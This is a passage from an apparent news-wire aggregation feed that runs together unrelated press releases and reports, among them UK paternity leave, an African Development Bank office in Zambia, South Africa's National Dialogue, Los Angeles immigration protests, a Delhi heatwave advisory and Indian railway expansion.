On the other hand, mothers whose partners returned to work at two weeks or earlier reported significant challenges. Some even said they felt “traumatised” when the paternity leave ended. “It’s harrowing when the father goes back to work,” one mother told me. “I was, like, hysterical from lack of sleep and not being able to breastfeed.”
As more and more births are via caesarean section – an estimated 31% in the UK – it is even more important that mothers have a partner present at this time. Mothers who have a c-section have limited mobility and will generally require greater levels of support for longer than mothers who have a vaginal birth.
Beyond the family, fathers’ participation in leave is also good for gender equality. Fathers who take leave are more likely to share parenting tasks later and demonstrate more understanding around what parenthood involves.
These benefits are magnified when fathers take leave alone – whether through shared parental leave taken alone in the UK or, as in some European countries, an extended “daddy’s quota” of leave taken after the mother returns to work.
This can also have knock-on benefits for gender equality in paid work. The gender pay gap in the UK is 7% – women working full-time earn 7% less per hour than men. As documented by Nobel prize winner Claudia Goldin, the biggest factor in the gender pay gap is the transition to parenthood. A greater uptake of leave by fathers can shift the established roles of mother-as-carer and father-as-breadwinner.
Read more:
Mothers are more likely to work worse jobs – while fathers thrive in careers
Besides all these documented benefits of paternity leave, perhaps one of the most potent is that fathers too are part of a family. To deny them independent and well-supported access to parental leave, at least in a comparable way to mothers, is simply unjust. They shouldn’t miss out on this valuable time with their children – and nor should children miss out on time with their fathers.
Katherine Twamley’s research on parental leave was funded by the British Academy and the Leverhulme Trust.
– ref. British dads are going ‘on strike’ for better parental leave – https://theconversation.com/british-dads-are-going-on-strike-for-better-parental-leave-257379
Source: Africa Press Organisation – English (2) – Report:
The African Development Bank Group (www.AfDB.org) commenced construction of its permanent country office in Lusaka on Friday, marking a transformative milestone in the institution’s 54-year partnership with Zambia.
Since establishing its temporary country office in 2007 with just four staff members, the African Development Bank’s presence in Zambia has grown to 20 permanent staff. The Bank’s cumulative investment in Zambia now stands at $2.7 billion across multiple sectors, with a current active portfolio worth nearly $1 billion.
The groundbreaking event was attended by Finance and National Planning Minister Dr. Situmbeko Musokotwane; African Development Bank’s Vice President for Regional Development, Integration and Business Delivery, Nnenna Nwabufo; the Bank’s Director of Real Estate Management, Procurement and General Services, Gail Meakin, as well as other senior government officials, members of the diplomatic community, other development partners, and private sector chief executive officers.
The new office design incorporates cutting-edge sustainability features and wellness-focused design. It will house expanded operations while contributing to Zambia’s economic growth through job creation and business stimulation during both construction and operation. The building is expected to be completed by 2027. It will be a smart building with conferencing and staff wellness facilities, with low energy consumption, a wastewater recycling system, and large green spaces.
Dr. Musokotwane emphasized the significance of a permanent office. “This occasion is not just ceremonial – it’s a vote of confidence in our country, our government, and our people. It recognizes Zambia’s commitment to forge a better future for Africa.”
The Minister thanked the African Development Bank for providing much-needed financial support during Zambia’s development journey and conveyed the President of Zambia’s support for the Bank’s decision to establish a permanent office building and continued development work in the country.
“The African Development Bank’s support has produced many positive results in sectors such as transport, agriculture, water and sanitation, and energy. This shows the Bank’s commitment to deliver on its vision for the African continent,” the Minister said. “AfDB’s support to Zambia has been instrumental in supporting the country’s development goals espoused in the national development plans, which emphasize, among others, the need to build resilient infrastructure, promote inclusive and sustainable industrialization, and foster innovation in all the sectors of the economy.”
Musokotwane listed some of the Bank’s transformative work in Zambia, singling out the Kazungula Bridge Project (https://apo-opa.co/4jORboP), for special commendation.
“We also wish to take this opportunity to commend the Bank for the support rendered to Africa. Through the Bank, major projects have been implemented both at country and continent level to support regional integration in Africa. Key among the projects implemented is the Kazungula bridge project, which is a major infrastructure initiative that involves constructing a road and rail bridge connecting Zambia and Botswana.”
Other notable projects in Zambia include the Integrated Small Towns Water and Sanitation project, the Lusaka Sanitation Programme, Skills Development and Entrepreneurship Project, and the Multi-Purpose Small Dams Project.
Musokotwane urged the Bank to consider expanded support for regional drought recovery efforts, emphasizing the need for building economic resilience across the region. The Southern Africa region is still recovering from the devastating droughts of 2023-2024.
Nwabufo thanked the Government of Zambia for providing the prime land within Lusaka for the construction of the Bank’s country office.
“This new office demonstrates our continued commitment to strengthening our partnership with Zambia. We are here to stay – after all, the African Development Bank is your Bank,” said Bank Vice President Nwabufo.
She reaffirmed the Bank’s commitment, announcing a $250 million commitment to the transformative Lobito Corridor Development Project (http://apo-opa.co/4kY4CU7). The Lobito Corridor is a major economic route connecting the port of Lobito in Angola to the Katanga province in the Democratic Republic of Congo and the Copperbelt in Zambia. It encompasses the construction of the Zambia-Angola railway, the rehabilitation of the DRC segment of the railway with the establishment of a public-private partnership, and the upgrading and operationalisation of the Angolan railway.
The African Development Bank’s investments in Zambia continue to deliver impactful results:
The African Development Bank’s 2024-2029 Country Strategy Paper for Zambia focuses on two key priorities: enhancing private sector development through infrastructure investments and promoting agricultural value chains to support youth and women’s employment. This will guide the Banks’ interventions in Zambia for the stated period.
African Development Bank Country Manager for Zambia, Olaniyi Durowoju, noted that “the office would serve as a modern and efficient workspace, and a beacon of innovation and a vibrant hub for partnerships, and collaboration with the Bank’s stakeholders, enabling us better to serve our clients and the people of Zambia”.
– on behalf of African Development Bank Group (AfDB).
Additional Photos: https://apo-opa.co/4mYbuCR
Media contact:
Emeka Anuforo,
Communication and External Relations Department,
media@afdb.org
About the African Development Bank Group:
The African Development Bank Group is Africa’s premier development finance institution. It comprises three distinct entities: the African Development Bank (AfDB), the African Development Fund (ADF) and the Nigeria Trust Fund (NTF). On the ground in 41 African countries with an external office in Japan, the Bank contributes to the economic development and the social progress of its 54 regional member states. For more information: www.AfDB.org
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Source: South Africa News Agency
President Cyril Ramaphosa has called for a National Convention on Friday, the 15th of August 2025, which will represent the diversity of the South African nation and set the agenda for the National Dialogue.
The National Dialogue is an initiative that has been in discussion by a number of leaders in the country and many other people for some time now.
“This National Convention will represent the diversity of the South African nation. The first National Convention will set the agenda for the National Dialogue.
“It will be a representative gathering, bringing together government, political parties, civil society, business, labour, traditional leaders, religious leaders, cultural workers, sports organisations, women, youth and community voices, among others,” the President said on Tuesday.
The initiative has been gathering support and enthusiasm since it was proposed last year and has been endorsed by a wide range of formations across society.
Over the last few months, government has been engaged in discussions with various entities on the purpose and the form of the dialogue.
WATCH | Announcement of the National Dialogue
[embedded content]
“In the wake of these consultations, there is broad agreement that given the challenges our country is facing at the moment, we should convene the National Dialogue. The idea of holding a dialogue is not a new concept in our country. In many ways having dialogues is part of our DNA as a nation.
“At every important moment in the history of our country, we have come together as a nation to confront our challenges and forge a path into the future in dialogue with one another. Through dialogue we were able to deal with the challenges that the apartheid system caused in our country and achieved peace and overcame violence. We established a democracy and ended apartheid,” the President said.
Following the negotiations process, he explained that dialogue was used to start building a united nation where once there had only been conflict and division.
He said the country achieved all this because everyone came together in dialogue to discuss difficulties, concerns, hopes and inspiration as a people. The country has worked together for more than 30 years to realise the promise of a democratic Constitution.
Challenges
Additionally, progress has been made in expanding freedom, deepening democracy, and improving the lives of millions, while also recognising the persistent challenges that remain. Poverty, unemployment and inequality are “deep wounds” that prevent the nation and country from reaching its full potential.
“Millions of people are under-employed and unemployed. Many of those who work earn wages that cannot sustain them or their families. Crime, gender-based violence and corruption are prevalent across our society.
“We are therefore called upon at this moment to direct all our efforts to build a thriving, inclusive economy that creates jobs and opportunities. We are called upon to build safer communities and to create a better future for our children.
“We are also called upon to give all sectors of our society – men and women, young and old, persons with disabilities, LGBTQI [lesbian, gay, bisexual, transgender, queer and intersex] community, and urban and rural people – a voice to determine how we address the problems of today and build the South Africa we want for future generations. That is why we have agreed to convene an inclusive National Dialogue,” he said.
Shared vision
The dialogue will be a people-led, society-wide process to reflect on the state of the country in order to reimagine the future.
“Through the National Dialogue, we seek a shared vision of what it means to be a South African and develop a new national ethos and common value system.
“It is an opportunity to forge a new social compact for the development of our country, a compact that will unite all South Africans, with clear responsibilities for different stakeholders, government, business, labour, civil society, men and women, communities and citizens,” the President said.
The dialogue is expected to accelerate progress towards Vision 2030 and help lay the groundwork for the next phase of the National Development Plan.
He emphasised that the dialogue is not a single event, but rather a phased, participatory process beginning with local consultations and sector-specific discussions and culminating in provincial and national engagements.
Through various political, social and other formations, in workplaces, places of worship, communities, villages and sites of learning, South Africans will in the months following the National Convention be encouraged to be in dialogue to define the nation’s path into the future.
“The views, concerns and proposals that will emerge from this conversation will be brought together at a second National Convention, that is planned to be held in the beginning of next year.
“This second National Convention will reinforce our shared values and adopt a common vision and programme of action for our country into the future,” he said.
The President said he expects that the National Convention will finalise a compact that outlines the roles and responsibilities of all South Africans.
Eminent Persons Group
To guide and champion the National Dialogue, the President has appointed an Eminent Persons Group.
He said these are leading figures in society, reflecting the country’s diversity with a proven commitment to the advancement of social cohesion and nation-building.
The members of the group are:
• Dr Brigalia Bam, former Independent Electoral Commission Chairperson,
• Mr Robbie Brozin, entrepreneur and business person,
• Judge Edwin Cameron, former Constitutional Court judge,
• Mr Manne Dipico, former Northern Cape Premier,
• Dr Desiree Ellis, Banyana Banyana coach and football legend,
• Ms Ela Gandhi, peace activist and stalwart,
• Prof Nomboniso Gasa, researcher and rural activist,
• Mr Bobby Godsell, business leader,
• Dr John Kani, award-winning actor,
• Mr Siya Kolisi, Springbok captain and world champion,
• Ms Mia le Roux, Miss South Africa 2024,
• His Grace Bishop Barnabas Lekganyane, leader of the Zion Christian Church,
• His Grace Bishop Engenas Lekganyane, leader of the St Engenas Zion Christian Church,
• The Most Reverend Thabo Makgoba, Anglican Archbishop of Cape Town,
• Prof Tinyiko Maluleke, Chairperson of the National Planning Commission,
• Dr Barbara Masekela, poet, educator and stalwart,
• Ms Lindiwe Mazibuko, former Member of Parliament,
• Mr Roelf Meyer, former Minister and constitutional negotiator,
• Ms Gcina Mhlope, storyteller, writer and actor,
• Ms Nompendulo Mkhatshwa, student activist and former Member of Parliament,
• Ms Kgothatso Montjane, Grand Slam tennis champion,
• Prof Harry Ranwedzi Nengwekhulu, former activist and educationist,
• Mr Bheki Ntshalintshali, unionist and former COSATU General Secretary,
• Hosi Phylia Nwamitwa, traditional leader,
• Kgosi Thabo Seatlholo, chairperson of the National House of Traditional and Khoi-San Leaders,
• Dr Gloria Serobe, business leader,
• Dr Imtiaz Sooliman, founder of the Gift of the Givers,
• Prof Derrick Swartz, academic,
• Ms Lorato Trok, author and early literacy expert,
• Mr Sibusiso Vilane, mountaineer and adventurer,
• Mr Siyabulela Xuza, award-winning rocket scientist.
The President added that UBaba uShembe uNyazi LweZulu has also been invited to join the Eminent Persons Group, but, as he is travelling, has not yet been able to confirm his availability.
“I am grateful to each of these South African patriots who have made themselves available to act as the guarantors of an inclusive, constructive and credible process,” he said.
IMC
An Inter-Ministerial Committee (IMC) has been established under the chairpersonship of Deputy President Paul Mashatile to coordinate government’s contribution to the National Dialogue.
The President said a Steering Committee will be established, comprised of representatives of various sectors of society, to set strategic priorities and coordinate implementation of the dialogue process.
The Secretariat, which is responsible for day-to-day management of National Dialogue activities, will be housed at NEDLAC, the National Economic Development and Labour Council.
“As a nation, we are embarking on a new path of partnership and united action. We are drawing on our traditions of dialogue and debate. We are determined to define a shared vision of a nation which belongs to all South Africans united in their diversity,” the President said. – SAnews.gov.za
Source: South Africa News Agency
The Eastern Cape Provincial Government has activated its disaster management teams in response to severe cold front and associated weather conditions that have struck the province since Monday, 9 June 2025.
In a statement issued on Tuesday, the provincial government confirmed that emergency response teams have been dispatched to various areas and are working around the clock to provide critical support to communities impacted by heavy rainfall, strong winds, and snowfall.
The South African Weather Service has issued an Orange Alert Level 6, warning of disruptive snowfall in high-lying regions of the province, potential road closures, flooding, and possible power interruptions.
Several roads have been affected by the heavy rains, including the R61 from Umthatha to Ngcobo and N2 to Kokstad near Emakhaphetshwini outside Umthatha. Damages have also been reported in homes in the OR Tambo, Joe Gqabi, Sarah Baartman Districts and Nelson Mandela Bay Municipality.
Rescue teams were dispatched to bolster rescue efforts just along the R61 outside Mthatha, where three children were stuck on a tree. The children have since been rescued.
The provincial government also confirmed that roads such as Wapadsberg Pass, along the R61 between Nxuba and Graaff-Reinet, have been blanketed in snow, prompting a warning to motorists to drive with extreme caution.
“The provincial government’s primary objective is to safeguard lives and infrastructure during this extreme weather event. Community members are advised to remain alert, monitor official updates, and strictly follow safety directives,” the provincial government said.
Eastern Cape Premier, Lubabalo Oscar Mabuyane, has urged all motorists to exercise extreme caution and avoid non-essential traveling, as well as travelling through flood-prone and mountainous areas.
He also urged citizens to immediately report hazards, such as downed power lines and road accidents to the nearest authorities.
“Our disaster teams are on high alert and ready to respond wherever assistance is needed. We urge the public to stay cautious and prioritise safety above all else.
“Government is fully mobilised, coordinating closely with local municipalities and emergency services to manage the impact of the weather system and support those affected,” Mabuyane said. – SAnews.gov.za
Source: Government of India
Source: Government of India (4)
Several U.S. cities braced for protests on Wednesday against President Donald Trump’s sweeping immigration raids, as parts of the country’s second largest city Los Angeles spent the night under curfew in an effort to quell five days of unrest.
The Governor of Texas, Republican Greg Abbott, said he will deploy the National Guard this week, ahead of planned protests. Protesters and police in Austin clashed on Monday.
Trump’s extraordinary measures of sending National Guard and Marines to quell protests in Los Angeles has sparked a national debate on the use of military on U.S. soil and pitted the Republican president against California’s Democrat governor.
“This brazen abuse of power by a sitting president inflamed a combustible situation, putting our people, our officers and even our National Guard at risk. That’s when the downward spiral began,” California Governor Gavin Newsom said in a video address on Tuesday.
“He again chose escalation. He chose more force. He chose theatrics over public safety. … Democracy is under assault.”
Newsom, widely seen as preparing for a presidential run in 2028, and the state of California sued Trump and the Defense Department on Monday, seeking to block the deployment of federal troops. Trump in turn has suggested Newsom should be arrested.
Hundreds of U.S. Marines arrived in the Los Angeles area on Tuesday under orders from Trump, after he also ordered the deployment of 4,000 National Guard to the city. Marines and National Guard are to be used in the protection of government personnel and buildings and not in police action.
Los Angeles Mayor Karen Bass said the deployments were not necessary as police could manage the protest, the majority of which have been peaceful, and limited to about five streets.
However, due to looting and violence at night she imposed a curfew over one square mile of the city’s downtown, starting Tuesday night. The curfew will last several days.
Police said multiple groups stayed on the streets in some areas despite the curfew and “mass arrests” were initiated. Police earlier said that 197 people had already been arrested on Tuesday – more than double the total number of arrests to date.
Democratic leaders have raised concerns over a national crisis in what has become the most intense flashpoint yet in the Trump administration’s efforts to deport migrants living in the country illegally, and then crack down on opponents who take to the streets in protest.
Trump, voted back into office last year largely for his promise to deport undocumented immigrants, used a speech honoring soldiers on Tuesday to defend his decision.
He told troops at the army base in Fort Bragg, North Carolina: “Generations of army heroes did not shed their blood on distant shores only to watch our country be destroyed by invasion and third-world lawlessness.”
‘FULL-BLOWN ASSAULT’
“What you’re witnessing in California is a full-blown assault on peace, on public order and on national sovereignty, carried out by rioters bearing foreign flags,” Trump said, adding his administration would “liberate Los Angeles.”
Demonstrators have waved the flags of Mexico and other countries in solidarity for the migrants rounded up in a series of intensifying raids.
Homeland Security said on Monday its Immigration and Customs Enforcement (ICE) division had arrested 2,000 immigration offenders per day recently, far above the 311 daily average in fiscal year 2024 under former President Joe Biden.
Protests have also taken place in other cities including New York, Atlanta and Chicago, where demonstrators shouted at and scuffled with officers. Some protesters climbed onto the Picasso sculpture in Daley Plaza, while others chanted that ICE should be abolished.
Texas Governor Abbott said late on Tuesday that he will deploy the National Guard, which “will use every tool & strategy to help law enforcement maintain order.”
“Texas National Guard will be deployed to locations across the state to ensure peace & order. Peaceful protest is legal.
Harming a person or property is illegal & will lead to arrest,” Abbott posted on X.
South Texas organizations are expected to hold anti-ICE rallies on Wednesday and Saturday, CNN reported local media as saying.
About 700 Marines were in a staging area in the Seal Beach area about 30 miles (50 km) south of Los Angeles on Tuesday, awaiting deployment to specific locations, a U.S. official said.
California Attorney General Rob Bonta told Reuters the state was concerned about allowing federal troops to protect personnel, saying there was a risk that could violate an 1878 law that generally forbids the U.S. military, including the National Guard, from taking part in civilian law enforcement.
“Protecting personnel likely means accompanying ICE agents into communities and neighborhoods, and protecting functions could mean protecting the ICE function of enforcing the immigration law,” Bonta said.
U.S. Immigration and Customs Enforcement on Tuesday posted photos on X of National Guard troops accompanying ICE officers on an immigration raid. Trump administration officials have vowed to redouble the immigration raids in response to the street protests.
The last time the military was used for direct police action under the Insurrection Act was in 1992, when the California governor at the time asked President George H.W. Bush to help respond to Los Angeles riots over the acquittal of police officers who beat Black motorist Rodney King.
(Reuters)
Source: Government of India
Source: Government of India (4)
With the India Meteorological Department (IMD) warning that daytime temperatures in Delhi may soar to 45 degrees Celsius, the Health Ministry on Wednesday urged people to stay indoors during peak hours, and to drink safe fluids.
The IMD has issued an orange alert for the national capital on Wednesday.
The IMD has warned that daytime temperatures in Delhi could reach as high as 45 degrees Celsius, with night-time lows hovering around 29 degrees Celsius. The ongoing weather conditions are part of a prolonged heatwave affecting large parts of northwestern India.
“Extreme heat can be risky. Stay indoors during peak hours, eat lower-calorie food, drink safe fluids, and never leave kids or pets in parked cars,” the Health Ministry, said in a post on social media platform X.
“Call 108/102 if someone shows signs of heatstroke,” it added.
In an infographic shared along with the post, the Ministry urged people to avoid getting out in the sun, especially between 12:00 noon and 03:00 pm. It also urged citizens to avoid strenuous activities when outside in the afternoon, cooking during peak summer hours, and to open doors and windows to ventilate the cooking area adequately.
The Health Ministry advised citizens to avoid alcohol, tea, coffee, and carbonated soft drinks or drinks with large amounts of sugar and importantly not to leave children or pets in parked vehicles.
Call 108/102 immediately if you find someone with a high body temperature and is either unconscious or confused, the advisory said.
“The heat is rising, but awareness can save lives! A heatwave isn’t just about soaring temperatures. It’s about knowing the risks, recognising the signs, and protecting each other. Let’s beat the heat together!” said the IMD on X.
To protect from the heat, the IMD urged citizens to wear lightweight, loose-fitting, and light-coloured clothing. Cover your head using a hat, umbrella, towel, and drink water frequently, it said.
Earlier on Tuesday, Delhi recorded its highest maximum temperature of the season at 43.8 degrees Celsius, which is 3.6 degrees above the seasonal average, as per IMD data. According to the IMD, very hot weather and heat waves in Delhi will persist until at least June 12.
Dr. Atul Kakar from the Department of Internal Medicine, at a leading city-based hospital, told IANS that several patients are presenting with heat exhaustion, heat stroke, severe dehydration, gastroenteritis, and jaundice.
“Exposure to the sun should be the bare minimum. Wear full sleeve clothes, or take an umbrella or cover your head during that period when you are getting exposed to the sun,” Kakar said.
Take more liquids which may include lassi, lemonade, orange juice, or fruits that contain more water like watermelon and melon,” the doctor told IANS. He also urged people to avoid eating outside.
(IANS)
Source: United Kingdom – Executive Government & Departments
Emergency workers will be better protected from violence and abuse when visiting homes as the government introduces new laws to support frontline staff.
Image: Getty Images
The new measures, tabled today as amendments to the government’s landmark Crime and Policing Bill, will close an existing loophole that allows people to get away with racial and religious abuse towards police, fire and ambulance workers making house calls.
Currently, it is illegal to racially or religiously abuse anyone in public, but this does not extend to behaviour within a private home.
The gap was originally designed to ensure that the laws that allow police to keep public spaces free from serious disorder did not overstep into private conversations held in homes.
By stopping short of people’s houses, the law has left emergency workers vulnerable and unprotected to racial and religious-based abuse and harassment during house calls, and unable to hold the perpetrators to account for their behaviour.
Reports of emergency workers being abused for their race or religion while in private homes have increased, and the government thinks it is vital they get the protections they deserve as they carry out their vital work to resolve home disputes and provide health care.
By closing the loophole in the Public Order Act 1986, the government is making clear that racially or religiously motivated abuse and threats towards our emergency workers will never be tolerated, regardless of where it takes place.
Under the change, offenders of abusing emergency workers in any setting could face a maximum sentence of 2 years imprisonment.
Policing Minister Dame Diana Johnson said:
Our emergency workers put themselves in harm’s way every day to keep us safe and they should never have to tolerate abuse due to their race or religion while simply doing their job.
As part of our Plan for Change, this government is rebuilding the bond between the public and police, and part of that means ensuring our officers have the protections they deserve.
By closing this loophole, we’re sending a clear message that racial and religious abuse directed towards those who serve our communities will not be tolerated.
Health and Social Care Secretary, Wes Streeting, said:
Our emergency workers carry out lifesaving work every day and deserve to feel safe from violence or intimidation.
Anyone who violates this core principle brings shame on themselves and will feel the full force of the law, wherever they are.
I will not stand any health worker being subjected to abuse and take a zero-tolerance approach, and these new measures will crack down on perpetrators.
Minister for Fire, Alex Norris said:
All emergency service workers should be able to carry out their duties without being subjected to unacceptable racial and religious abuse.
This government stands firmly behind emergency service workers and will not tolerate abusive behaviour towards those risking their lives to keep us safe.
Andy Rhodes, Director of the National Police Wellbeing Service, said:
Policing is an extremely fulfilling profession where officers can make a genuine difference to people’s lives and to their communities. We welcome the amendment to the legislation, which will better protect officers and staff who are there to protect the public.
Sadly, the role they play means they can often be faced with some incredibly challenging and hostile situations, especially in private homes, and over time, this can take a toll.
The protection of our officers and staff is a clear priority for all police chiefs. Hate crime has a devastating impact on individual victims, and racial, and faith-based discrimination against officers or emergency workers cannot be tolerated in any form.
Source: Aisle of Wight
Statement from Captiva Homes on Horsebridge Hill roadworks
We recognise the roadworks on Horsebridge Hill are continuing to cause disruption and inconvenience to residents and businesses, for which we apologise. We continue to work with Island Roads, the Council and other stakeholders to ensure this is minimised as much as possible. We are pleased to report that the works are being delivered in line with the agreed schedule and remain on track to be completed during the week commencing 4 July. This will facilitate the first Island families moving into their new homes this summer.
On site, road widening and kerbing installation has now been completed; traffic signal ducting and the new water main have been installed (the latter will reduce future work for Southern Water in the area).
Planned works in the week ahead will see base tarmac laid to road and footpaths, installation of ducts and sockets to the northbound carriageway and commencement of entrance works to the Three Oaks development.
The diversion of northbound traffic from Newport to Cowes saw a 4-minute increase in average journey times last week (2.6.25 to 6.6.25, from 16mins to 20 mins). This does not tell the full story as the closure of Middle Road for planned utility works last Tuesday and Wednesday evenings plus road traffic accidents in the Newport area caused significant delays.
Southern Vectis bus services continue to run a full daytime service (between 06.00 – 20.00) from Newport to Cowes and southbound travel from Cowes to Newport continues to flow smoothly throughout the day.
All businesses in the area remain open with access via the diversion.
Important changes to the traffic management plans are scheduled in the coming weeks, details below;
Isle of Wight Festival week
Two weekend road closures are required to facilitate foul sewer connections and road surfacing;
During the two weekend closures the current diversion route will operate for north and south bound traffic. To facilitate the diversion route there will be a clearway order for both sides of Pallance Road for the length, the 3 way temporary lights will remain on the Whitehouse Road/Corf Road junction and there will also be 4 way lights installed on Forest Road/Whitehouse Road junction to make it safer for vehicles emerging from Whitehouse Road.
Source: People’s Republic of China – State Council News
China recently released 10 new measures to improve people’s well-being and address most pressing concerns of the people, according to a Monday press conference. These measures span social security, public services, medical and educational services, as well as child and elderly care.
Source: Government of India
Source: Government of India (4)
India’s transport infrastructure, particularly in metro and railways, has witnessed unprecedented growth over the past 11 years under the Prime Minister Narendra Modi-led NDA government. From expanding metro rail networks to introducing world-class trains and implementing green and digital upgrades, the country is rapidly building the foundation for Viksit Bharat@2047.
Metro rail services are now operational or under construction in 23 cities. As of May 2025, India’s metro network stands at 1,013 kilometres, a significant jump from just 248 kilometres in 2014. This marks an addition of 763 kilometres in just over a decade. Daily ridership has grown more than fourfold, rising from 28 lakh in 2013-14 to over 1.12 crore. The pace of metro line commissioning has increased nine times, and the annual budget for metro projects has expanded from ₹5,798 crore in 2013-14 to ₹34,807 crore in 2025-26. Further strengthening regional connectivity, the government introduced the Regional Rapid Transit System (RRTS), with Namo Bharat trains already operational on the Delhi-Meerut corridor.
Indian Railways has also seen record-breaking investments and capacity expansion. The overall capital outlay since 2014 stands at over ₹17 lakh crore, compared to ₹3.62 lakh crore between 2004 and 2014. More than 31,000 kilometres of new tracks have been laid, and over 45,000 kilometres renewed. A new generation of trains has transformed passenger experiences. The Vande Bharat trains, currently operating 136 services across 24 states and union territories, offer semi-high-speed travel with modern amenities. Plans are in place to manufacture 400 more such trains. The recently introduced Amrit Bharat and Namo Bharat trains also reflect the push for affordable and efficient mobility, with 100 Amrit Bharat and 50 Namo Bharat trains to be added in the next few years.
Indian Railways has committed to achieving net zero carbon emissions by 2030. Over 98% of the broad-gauge network has been electrified. Solar panels have been installed at more than 2,000 railway stations, and 100% of stations and service buildings now use LED lighting. Accessibility and passenger convenience have been enhanced with the installation of 1,790 lifts and 1,602 escalators, while Wi-Fi connectivity is now available at over 6,000 stations.
Technological advancements such as the indigenously developed Automatic Train Protection System, Kavach, have been deployed across 1,548 route kilometres. The system automatically applies brakes in case of overspeeding or non-response from the loco pilot, boosting passenger safety. The elimination of unmanned level crossings has been completed, with over 12,000 road over and under bridges constructed. In 2024-25 alone, 1,256 such bridges were built.
Several engineering marvels have been added to India’s railway map. These include the world’s highest railway arch bridge over the Chenab River, the Anji Khad cable-stayed bridge, and the new vertical lift Pamban sea bridge connecting Rameswaram to mainland India. The Kosi Rail Mahasetu near the India-Nepal border is another strategically significant addition.
Electrification has seen a massive push, with more than 45,000 route kilometres electrified between 2014 and 2025—compared to just 5,188 kilometres between 2004 and 2014. Electrification has already led to annual savings of nearly ₹3,000 crore. More than 6,600 stations have been equipped with electronic interlocking systems, reducing the risk of human error.
Innovative schemes such as One Station One Product (OSOP) are helping promote local artisans, with over 2,200 outlets operational across nearly 2,000 stations. The scheme has recorded sales worth ₹107.89 crore as of March 2025. Freight movement has also surged, with total loading touching 14,200 million tonnes between 2014 and 2025, compared to 8,473 million tonnes in the preceding decade. In 2024-25, a record 1,617 million tonnes was loaded.
The dedicated freight corridors (DFC), which had seen zero progress before 2014, are now more than 96% complete, with 2,843 kilometres commissioned. The Eastern DFC is fully operational, while the Western DFC is nearing completion. The government has also commissioned 100 Gati Shakti Cargo Terminals to reduce logistics costs and boost multimodal transport.
More than 1,300 railway stations are being redeveloped under the Amrit Bharat Station Scheme to introduce world-class amenities. PM Jan Aushadhi Kendras have also been set up at 68 railway stations to ensure the availability of affordable medicines.
In recent decisions, the Union Cabinet approved several key railway projects in 2025. These include the ₹1,332 crore doubling of the Tirupati–Pakala–Katpadi railway line, and four major projects worth ₹18,658 crore across Maharashtra, Odisha, and Chhattisgarh. The Waltair railway division was also reorganized to form new divisions under the South Coast and East Coast Railways.
India’s metro and rail sectors have become engines of growth, driving economic activity, job creation, and ease of living. The sustained investment, innovation, and political will over the past decade are positioning India as a global leader in transport infrastructure.
Source: Scottish Greens
This is another step on the journey towards every pupil in Scotland receiving free school meals.
The Scottish Greens have secured the expansion of free school meals to thousands more high school students, a move confirmed by the Scottish Government this morning.
During budget negotiations with the Government Green MSPs secured agreement to expand eligibility for free school meals to S1-S3 pupils in eight council areas across Scotland from August this year.
All S1-3 pupils whose families receive the Scottish Child Payment (SCP) will now be eligible for free school meals in Aberdeen, Glasgow, Fife, Moray, North Ayrshire, South Lanarkshire, Shetland and the Western Isles.
Scottish Green MSPs previously secured the expansion of universal free school meals to P4 and P5 pupils, as well as the ongoing expansion to P6 and P7 pupils who receive the SCP.
Scottish Greens spokesperson for education, Ross Greer MSP said:
“Thousands of young people will now get a free school meal through our pilot programme. Children can’t learn if they are hungry and we know that free meals can have a transformative impact on their success at school.
“The Scottish Greens have always championed universal free school meals, and that is why we brought this proposal to the table during budget negotiations. It builds on our previous work to expand free school meals in P4-7, which is already helping tens of thousands of children.
“These eight areas are just the start. Green MSPs will now push for this programme to be expanded to every other council as soon as possible and eventually, for every pupil from early years right up to S6 to receive a free school meal.”
Translation. Region: Russian Federal
Source: Peter the Great St Petersburg Polytechnic University – Peter the Great St Petersburg Polytechnic University –
On June 10, an important event took place in the village of Belskoye Ustye in the Porkhov district. New bells were consecrated in the Church of the Ascension of the Lord. The first rector of the Polytechnic University, Prince Gagarin, is buried near the church, and his estate Kholomki is located nearby.
The Polytechnic University plays a special role in the revival of the Church of the Ascension of the Lord. It not only provides financial support, but also directly participates in the restoration work. A special event is the installation of new bells, which will give the church a finished look and allow the bell ringing to sound again. They were cast by order of the ANO “Revival of Cultural Heritage Sites of Pskov and the Pskov Region”.
The rite of consecration of the bells was performed by Metropolitan of Pskov and Porkhov, Abbot of the Holy Dormition Pskov-Pechersky Monastery Matfey (Kopylov), assisted by clergy of the Pskov diocese. The ceremony was also attended by Bishop of Nizhny Tagil and Nevyansk Feodosiy (Chashchin) and Bishop of Karasuk and Ordynsk Philip (Novikov).
Not long ago we met with Andrey Ivanovich. Seeing his glowing eyes when the speech touched upon the revival of this ancient shrine, I believed at that moment that the temple would be restored and put into operation at all costs. Today we have gathered here to rejoice at the completion of another stage of restoration – the consecration of the bells. I would like to thank the staff of the Polytechnic University for their contribution to this important matter, – shared Metropolitan of Pskov and Porkhov, Abbot of the Holy Dormition Pskov-Pechersky Monastery Matfey (Kopylov).
The Metropolitan noted that the church will find its own voice, which will be heard by people and will become a guide for them on the path to God.
The temple, which was once one of the largest in the Pskov region, needs a full restoration, which has been actively carried out in recent years. Polytechnic is taking part in the restoration of the temple, so employees and graduates support the reconstruction both organizationally and financially. Ten bells were cast in Zhukovsky (Moscow region) with funds allocated by PJSC Rostelecom, for which special thanks to Polytechnic graduate Mikhail Eduardovich Oseevsky, – emphasized the rector of SPbPU Andrey Rudskoy.
The history of the Church of the Ascension of the Lord spans over two centuries. It was built in 1796 by Colonel Artemon Kozhin on his estate. Decades later, in the early 1860s, his son Pyotr Kozhin decided to build a new church due to the dilapidation of the old building. The new building in the style of early classicism with elements of baroque was built according to the design of the St. Petersburg architect Shestakov.
Over its long history, the temple has witnessed many significant events. In 1920, the funeral service for Prince A. G. Gagarin, an outstanding Russian scientist and engineer, the first director of the Polytechnic, was held here. In 1921–1922, the temple became a magnet for artists, including K. I. Chukovsky, E. I. Zamyatin, M. L. Lozinsky and others.
Unfortunately, in the 1960s the church was closed due to its emergency condition. Only in 2014 did large-scale work begin to restore the temple by an initiative group, which included representatives of SPbPU, the administration of the Pskov region and the “Orthodox Russia” movement. In 2023, the ANO “Revival of Cultural Heritage Sites of Pskov and the Pskov Region” began working with the architectural monument.
Today, restoration work on the restoration of this unique architectural monument continues, returning it to its former glory and grandeur.
Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.
Translation. Region: Russian Federal
Source: People’s Republic of China in Russian – People’s Republic of China in Russian –
Source: People’s Republic of China – State Council News
BEIJING, June 11 (Xinhua) — China’s auto production and sales volumes showed double-digit growth in the first five months of 2025, indicating robust consumer activity in the world’s second-largest economy.
